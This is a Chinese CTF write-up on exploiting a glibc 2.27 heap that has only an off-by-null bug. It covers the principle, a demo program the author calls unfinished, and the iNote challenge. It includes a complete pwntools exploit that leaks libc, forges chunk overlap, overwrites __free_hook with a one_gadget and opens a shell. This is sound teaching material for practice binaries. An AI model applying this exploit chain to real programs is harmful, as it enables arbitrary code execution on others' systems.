堆进阶之仅含off by null的利用

robots

 

特征标志

  • 仅存在 off by null 漏洞
  • 不能申请大于 fastbin 的堆块(可以申请也能用这种方法)如果能申请大于 fastbin 的堆块,申请 0x101 覆盖成 0x100 并控制 prev_size ,就能向低地址的堆块合并
  • 存在 scanf (或其他将 fastbin 放置到 unsortedbin 的途径)单纯 offbynull 无法在 fastbin 中利用,需要结合 unsortedbin

 

适用glibc版本

无论有无 tcache ,都能适用。

存在 tcache 则需要先将对应 size 填满,才能放入 fastbin 。

 

攻击效果

造成堆重叠(chunk extend),进而控制各类 bin 中的指针,完成 getshell

 

原理

难点在于:fastbin 堆块的 size 长度为 1 个字节(如:0xf0),如果 offbynull 覆盖 prev_inuse 时,会将整个 size 覆盖为 0x00 ,而这会引起报错。

解决思路:

  1. 利用 unsortedbin 形成时,会将其所在的前一个(高地址)非 topchunk 的堆块 prev_size 设置为 0
  2. 利用 offbynull 修改在 unsortedbin 中的空闲堆块 size ,造成空洞。将 unsortedbin 重新分配出来时,前一个堆块 prev_size=0 的状态被保留
  3. 在原来 unsortedbin 的连续空间中,在低地址处构造出 unsortedbin ,释放前一个堆块时会先后合并,重叠部分堆空间

 

Demo程序

程序有问题,等待完善

Scanf 申请的缓存区问题

#include <stdio.h>
#include <stdlib.h>

char *ptr[16];

void init(){
    setvbuf(stdin,0,2,0);
    setvbuf(stdout,0,2,0);
    setvbuf(stderr,0,2,0);
}

int main(int argc,char *argv[]){
    // init();
    char* protect;
    char buf[0x1000];

    ptr[0]=malloc(0x18);//用于offbynull
    ptr[1]=malloc(0x68);
    ptr[2]=malloc(0x68);
    ptr[3]=malloc(0x28);
    ptr[4]=malloc(0x68);//用于先后合并形成堆重叠
    protect=malloc(0x100);//防止与topchunk合并

    free(ptr[1]);
    free(ptr[2]);
    free(ptr[3]);

    /* chunk3内伪造header绕过检查 */
    *((long int*)ptr[3]+2) = 0x100;//offbynull修改后的size
    *((long int*)ptr[3]+3) = 0x10;

    /* chunk4的prev_inuse成功被设定为0 */
    scanf("%s",buf);//fastbin 2 unsortedbin

    /* off bu null,空闲堆块大小从0x110变成0x100 */
    *(ptr[0]+0x18)=0x00;

    /* 切割0x100,切割完成之后unsortedbin原来堆块没有了 */
    ptr[1]=malloc(0x68);
    ptr[2]=malloc(0x68);
    ptr[3]=malloc(0x18);

    /* 布置一个unsortedbin用于向后unlink */
    free(ptr[1]);
    free(ptr[2]);
    scanf("%s",buf);//fastbin 2 unsortedbin

    /* 向后unlink,形成堆重叠 */
    free(ptr[4]);
    scanf("%s",buf);//fastbin 2 unsortedbin

    return 0;
}

 

详细过程

  1. 如图布置出相邻的堆块:
    • chunk0 用于 offbynull ;chunk123 用于修改 chunk4 prev_inuse ;chunk4 用于向后 unlink 形成堆重叠
    • 伪造 chunk header :prev_size 为 offbynull 之后的 size

  1. 将 chunk123 释放后进入 fastbin ,然后利用 scanf 将 fastbin 的空闲堆块整理进入 unsortedbin
  2. offbynull 修改在 unsortedbin 的堆 size
  3. 然后将空闲堆块切分多次取出(因为不能申请大于 fastbin)。当申请 0x20 时,修改的是 fake header 的 prev_inuse 标志位,chunk4 prev_inuse 被保留下来
  4. 将 chunk12 重新放回 unsortedbin 后,释放 chunk4 造成向后 unlink ,形成堆重叠

  5. 造成重叠后就是常规思路利用

 

相关例题

  • [2021国赛华南赛区-iNote]
  • (libc-2.27.so)

 

例题详解

checksec

保护全开,正常堆题的保护模式基本都是全开

q@ubuntu:~/Desktop$ checksec iNote
[*] '/home/q/Desktop/iNote'
    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled
    FORTIFY:  Enabled

main函数

main函数如下是非常常规的菜单类题目,漏洞点存在于edit函数中,因篇幅关系,下面只放上edit函数代码

void __fastcall main(__int64 a1, char **a2, char **a3)
{
  __int64 v3[5]; // [rsp+0h] [rbp-28h] BYREF

  v3[1] = __readfsqword(0x28u);
  my_init();
  while ( 1 )
  {
    puts("1. allocate");
    puts("2. edit");
    puts("3. show");
    puts("4. delete");
    puts("5. exit");
    __printf_chk(1LL, "Your choice: ");
    __isoc99_scanf(&aLd, v3);
    switch ( v3[0] )
    {
      case 1LL:
        add();
        break;
      case 2LL:
        edit();                                 // off by null
        break;
      case 3LL:
        show();
        break;
      case 4LL:
        delete();
        break;
      case 5LL:
        exit(0);
      default:
        puts("Unknown");
        break;
    }
  }
}

edit函数

漏洞代码

在如下部分代码中,当我们对chunk进行编辑完成的时候输入’\n’,程序会将其替换为’”\x00”,从而造成了off by null漏洞的生成

do
      {
        read(0, v4, 1uLL);
        if ( *v4 == '\n' )
        {
          *v4 = 0;
          goto LABEL_8;
        }
unsigned __int64 edit()
{
  unsigned __int64 v0; // rbx
  __int64 ptr; // r12
  __int64 size; // rbp
  _BYTE *v3; // rbp
  _BYTE *v4; // rbx
  _BYTE *v5; // rax
  __int64 v6; // rax
  unsigned __int64 v8; // [rsp+0h] [rbp-28h] BYREF
  unsigned __int64 v9; // [rsp+8h] [rbp-20h]

  v9 = __readfsqword(0x28u);
  __printf_chk(1LL, "Index: ");
  __isoc99_scanf(&aLd, &v8);
  v0 = v8;
  if ( v8 <= 0xF && ptr_list[v8] )
  {
    __printf_chk(1LL, "Content: ");
    ptr = ptr_list[v0];
    size = size_list[v0];
    if ( size )                                 // off by null
    {
      v3 = (_BYTE *)(ptr + size);
      v4 = (_BYTE *)ptr_list[v0];
      do
      {
        read(0, v4, 1uLL);
        if ( *v4 == '\n' )
        {
          *v4 = 0;
          goto LABEL_8;
        }
        v5 = v4++;
        v6 = (__int64)&v5[-ptr + 1];
      }
      while ( v4 != v3 );
      v4 = (_BYTE *)(ptr + v6);
    }
    else
    {
      v4 = (_BYTE *)ptr_list[v0];
    }
LABEL_8:
    *v4 = 0;
  }
  return __readfsqword(0x28u) ^ v9;
}

思路概述

该题目libc版本为2.27,且仅有off bu null这一个漏洞。

第一步,填充完毕tcache,将构建好的chunk放置于fastbin,再利用scanf输入长字符串触发malloc_consolidate ,将fastbin整理到unsortedbin中,进行libc_base的泄露。

第二步,利用off by null漏洞修改chunk size 的prev_inuse=0,

结合伪造 header 、offbynull 向后unlink制造堆重叠。

第三步,常规攻击打’__free_hook’,传入onegadget去getshell。

第一步实操

1.1
#unsortedbin泄露libc地址
for i in range(8):
    add(i,0x78)

add(8,0x58)#后面offbynull构造0x110
add(9,0x20)#后面offbynull构造0x110
for i in list(range(8)):#tcache填充
    delete(i)
p.sendlineafter("choice: ",'1'*0x7000)#fastbin 2 unsortedbin 触发malloc_consolidate 
for i in list(range(7))[::-1]:
    add(i,0x78)
add(7,0x78)
show(7)
#gdb.attach(p)
p.recvuntil("Content: ")
main_arean_208 = u64(p.recv(6).ljust(8,'\x00'))
log.info("main_arean_208:"+hex(main_arean_208))
libc_base = main_arean_208 - 208 - (0x7ffff7dcdc40-0x7ffff79e2000)
log.info("libc_base:"+hex(libc_base))

7号chunk中的内容

pwndbg> x/32gx 0x558c496305d0
0x558c496305d0:    0x0000000000000000    0x0000000000000081
0x558c496305e0:    0x00007f2cb69bcd10    0x00007f2cb69bcd10
0x558c496305f0:    0x0000000000000000    0x0000000000000000

第二步实操

2.1

构造一个0x110的(0x70+0x60+0x30)unsortedbin,同时伪造一个header,用来向前合并造成堆重叠,并利用off by null 修改

0x110的chunk size为0x100

for i in list(range(7)):
    delete(i)
delete(7)#0x68

for i in range(7):
    add(i,0x58)
for i in list(range(7)):
    delete(i)
delete(8)#0x58

for i in list(range(7)):
    add(i,0x20)
for i in list(range(7)):
    delete(i)
edit(9,"QAQ.QVQ."*2+p64(0x100)+p64(0x10))#伪造一个header,用来向前(低地址)合并造成堆重叠
gdb.attach(p)
delete(9)#0x20
#gdb.attach(p)
p.sendlineafter("choice: ",'1'*0x7000)#fastbin 2 unsortedbin
#gdb.attach(p)
#off by null将0x110覆盖为0x100
add(11,0x78)#head:用于off by null溢出修改size(0x110->0x100)
#gdb.attach(p)
edit(11,'a'*0x78)

9号chunk填充完毕的状态如下

pwndbg> x/32gx 0x556e6dcc56b0
0x556e6dcc56b0:    0x0000000000000000    0x0000000000000031
0x556e6dcc56c0:    0x2e5156512e514151    0x2e5156512e514151
0x556e6dcc56d0:    0x0000000000000100    0x0000000000000010

再次触发malloc_consolidate 和off by null后chunk的排布如下

0x56299f4065d0      0x6161616161616161  0x100                Freed     0x7f01a7875da0    0x7f01a7875da0
0x56299f4066d0      0x100               0x10                 Freed              0x110              0x60

如上主要部分,我们已经成功获得chunk size为0x100的chunk,同时prev_size=0x110;prev_inuse=0任然保持

pwndbg> parseheap
addr                prev                size                 status              fd                bk                
0x56299f406000      0x0                 0x250                Used                None              None
0x56299f406250      0x0                 0x80                 Freed                0x0              None
0x56299f4062d0      0x0                 0x80                 Freed     0x56299f406260              None
0x56299f406350      0x0                 0x80                 Freed     0x56299f4062e0              None
0x56299f4063d0      0x0                 0x80                 Freed     0x56299f406360              None
0x56299f406450      0x0                 0x80                 Freed     0x56299f4063e0              None
0x56299f4064d0      0x0                 0x80                 Freed     0x56299f406460              None
0x56299f406550      0x0                 0x80                 Freed 0x61616161616161610x6161616161616161
0x56299f4065d0      0x6161616161616161  0x100                Freed     0x7f01a7875da0    0x7f01a7875da0
0x56299f4066d0      0x100               0x10                 Freed              0x110              0x60
0x56299f4066e0      0x110               0x60                 Freed                0x0              None
0x56299f406740      0x3131313131313131  0x60                 Freed     0x56299f4066f0              None
0x56299f4067a0      0x3131313131313131  0x60                 Freed     0x56299f406750              None
0x56299f406800      0x3131313131313131  0x60                 Freed     0x56299f4067b0              None
0x56299f406860      0x3131313131313131  0x60                 Freed     0x56299f406810              None
0x56299f4068c0      0x3131313131313131  0x60                 Freed     0x56299f406870              None
0x56299f406920      0x3131313131313131  0x60                 Freed     0x56299f4068d0              None
0x56299f406980      0x3131313131313131  0x30                 Freed                0x0              None
0x56299f4069b0      0x3131313131313131  0x30                 Freed     0x56299f406990              None
0x56299f4069e0      0x3131313131313131  0x30                 Freed     0x56299f4069c0              None
0x56299f406a10      0x3131313131313131  0x30                 Freed     0x56299f4069f0              None
0x56299f406a40      0x3131313131313131  0x30                 Freed     0x56299f406a20              None
0x56299f406a70      0x3131313131313131  0x30                 Freed     0x56299f406a50              None
0x56299f406aa0      0x3131313131313131  0x30                 Freed     0x56299f406a80              None
2.2

在如下部分chunk(0x110)后面布置一个chunk用来实现unlink造成堆重叠。

0x56299f4066d0      0x100               0x10                 Freed              0x110              0x60

接着将0x100的chunk从unsortedbin之中分割出来一部分(0x78+0x58+0x10)

【在上面的0x56299f4066d0这部分chunk中我们在步骤2.1中已经完成他的chunk size修改成了0x10所以分割unsortedbin时候可以正常分割0x10大小的chunk。】

unsortedbin 中还剩余 0x20 空间,与下一个 chunk 相差了 0x10 ,我们提前在这 0x10 中伪造 header ,当分配后修改的是 fake header prev_inuse 下一个 chunk 的 prev_inuse 被正常保留,可以用于 unlink 制造重叠空间

#0x110后面布置一个堆块,用于unlink造成堆重叠
for i in range(6):
    add(i,0x58)
add(12,0x58)#tail:unlink

for i in range(6):#清空堆指针列表,方便后续操作
    delete(i)

#将0x100切分分配出来0x78+0x58+0x10
for i in range(6):
    add(i,0x78)
add(8,0x78)
for i in range(6):
    delete(i)
for i in range(6):
    add(i,0x58)
add(9,0x58)
for i in range(6):
    delete(i)
add(10,0x10)
#gdb.attach(p)

2.2步骤完成后的chunk内容如下

pwndbg> x/10gx 0x55d6f7eeb6b0
0x55d6f7eeb6b0:    0x0000000000000000    0x0000000000000021
0x55d6f7eeb6c0:    0x0000000000000000    0x0000000000000000
0x55d6f7eeb6d0:    0x0000000000000020    0x0000000000000011
0x55d6f7eeb6e0:    0x0000000000000110    0x0000000000000060
0x55d6f7eeb6f0:    0x0000000000000000    0x0000000000000000

在这部分chunk中prev_inuse以及prev_size都被保留了下来

0x55d6f7eeb6e0:    0x0000000000000110    0x0000000000000060
2.3

然后将 0x78+0x58 放回到 unsortedbin ,释放 0x110 后面的堆块就会向前合并,即 unsortedbin 里面变成 0x110 + 0x110 后面的堆 size 。

for i in range(7):
    add(i,0x78)
for i in range(7):
    delete(i)
delete(8)#fastbin
for i in range(7):
    add(i,0x58)
for i in range(7):
    delete(i)
delete(9)#fastbin

p.sendlineafter("choice: ",'1'*0x7000)
gdb.attach(p)

合并完成后的chunk如下,我们可以清楚的看见chunk size成功合并为0xe0大小同时prev_inuse 也变成了1

pwndbg> x/8gx 0x55b336b405d0 
0x55b336b405d0:    0x6161616161616161    0x00000000000000e1
0x55b336b405e0:    0x00007f3aeb0d1d70    0x00007f3aeb0d1d70
0x55b336b405f0:    0x0000000000000000    0x0000000000000000
0x55b336b40600:    0x0000000000000000    0x0000000000000000

接着进行堆重叠

delete(12)
p.sendlineafter("choice: ",'1'*0x7000)

重叠部分的chunk如下

pwndbg> x/32gx 0x55b67f11d6b0
0x55b67f11d6b0:    0x00000000000000e0    0x0000000000000020
0x55b67f11d6c0:    0x0000000000000000    0x0000000000000000

第三步实操

3.1

直接利用重叠部分chunk攻打free_hook

for i in range(7):
    add(i,0x78)
add(8,0x78)
for i in range(7):
    delete(i)
for i in range(7):
    add(i,0x58)
add(9,0x58)
for i in range(7):
    delete(i)
for i in range(7):
    add(i,0x20)
add(12,0x20)#hacker

for i in range(7):
    delete(i)

for i in range(7):
    add(i,0x20)

delete(10)

edit(12,p64(libc_base+libc.sym['__free_hook'])+'\n')

add(14,0x20)

add(15,0x20)

edit(15,p64(libc_base+0x4f432)+'\n')

delete(0)

p.interactive()

 

EXP

#encoding:utf-8
from pwn import *
context.log_level='debug'

p = process("./iNote")

libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")

def add(id,size):
    p.sendlineafter("choice: ",str(1))
    p.sendlineafter("Index: ",str(id))
    p.sendlineafter("Size: ",str(size))
def edit(id,content):
    p.sendlineafter("choice: ",str(2))
    p.sendlineafter("Index: ",str(id))
    p.sendafter("Content: ",content)
def show(id):
    p.sendlineafter("choice: ",str(3))
    p.sendlineafter("Index: ",str(id))
def delete(id):
    p.sendlineafter("choice: ",str(4))
    p.sendlineafter("Index: ",str(id))

#unsortedbin泄露libc地址
for i in range(8):
    add(i,0x78)

add(8,0x58)#后面offbynull构造0x110
add(9,0x20)#后面offbynull构造0x110

for i in list(range(8)):
    delete(i)

p.sendlineafter("choice: ",'1'*0x7000)#fastbin 2 unsortedbin

for i in list(range(7))[::-1]:
    add(i,0x78)

add(7,0x78)
show(7)

p.recvuntil("Content: ")
main_arean_208 = u64(p.recv(6).ljust(8,'\x00'))
log.info("main_arean_208:"+hex(main_arean_208))
libc_base = main_arean_208 - 208 - (0x7ffff7dcdc40-0x7ffff79e2000)
log.info("libc_base:"+hex(libc_base))

# off by null 构造重叠区域

# 构造0x110(0x70+0x60+0x30)的unsortedbin
# unlink时会将0x110后面堆修改为:prev_size=0x110;prev_inuse=0;
for i in list(range(7)):
    delete(i)
delete(7)#0x68

for i in range(7):
    add(i,0x58)
for i in list(range(7)):
    delete(i)
delete(8)#0x58

for i in list(range(7)):
    add(i,0x20)
for i in list(range(7)):
    delete(i)
edit(9,"QAQ.QVQ."*2+p64(0x100)+p64(0x10))#伪造一个header,用来向前(低地址)合并造成堆重叠

delete(9)#0x20

p.sendlineafter("choice: ",'1'*0x7000)#fastbin 2 unsortedbin

#off by null将0x110覆盖为0x100
add(11,0x78)#head:用于off by null溢出修改size(0x110->0x100)
edit(11,'a'*0x78)


#0x110后面布置一个堆块,用于unlink造成堆重叠
for i in range(6):
    add(i,0x58)
add(12,0x58)#tail:unlink

for i in range(6):#清空堆指针列表,方便后续操作
    delete(i)

#将0x100切分分配出来0x78+0x58+0x10
for i in range(6):
    add(i,0x78)
add(8,0x78)
for i in range(6):
    delete(i)
for i in range(6):
    add(i,0x58)
add(9,0x58)
for i in range(6):
    delete(i)
add(10,0x10)

#然后将 0x78+0x58 放回到 unsortedbin ,释放 0x110 后面的堆块就会向前合并,即 unsortedbin 里面变成 0x110 + 0x110 后面的堆 size 。
for i in range(7):
    add(i,0x78)
for i in range(7):
    delete(i)
delete(8)#fastbin
for i in range(7):
    add(i,0x58)
for i in range(7):
    delete(i)
delete(9)#fastbin

p.sendlineafter("choice: ",'1'*0x7000)

# 堆重叠
delete(12)

p.sendlineafter("choice: ",'1'*0x7000)

#free_hook attack
for i in range(7):
    add(i,0x78)
add(8,0x78)
for i in range(7):
    delete(i)
for i in range(7):
    add(i,0x58)
add(9,0x58)
for i in range(7):
    delete(i)
for i in range(7):
    add(i,0x20)
add(12,0x20)#hacker

for i in range(7):
    delete(i)

for i in range(7):
    add(i,0x20)

delete(10)

edit(12,p64(libc_base+libc.sym['__free_hook'])+'\n')

add(14,0x20)

add(15,0x20)

edit(15,p64(libc_base+0x4f432)+'\n')

delete(0)

p.interactive()

getshell成功

[*] Switching to interactive mode
$ cat flag
[DEBUG] Sent 0x9 bytes:
    'cat flag\n'
[DEBUG] Received 0x1a bytes:
    'flag{QAQ_I_am_local_flag}\n'
flag{QAQ_I_am_local_flag}
$
(完)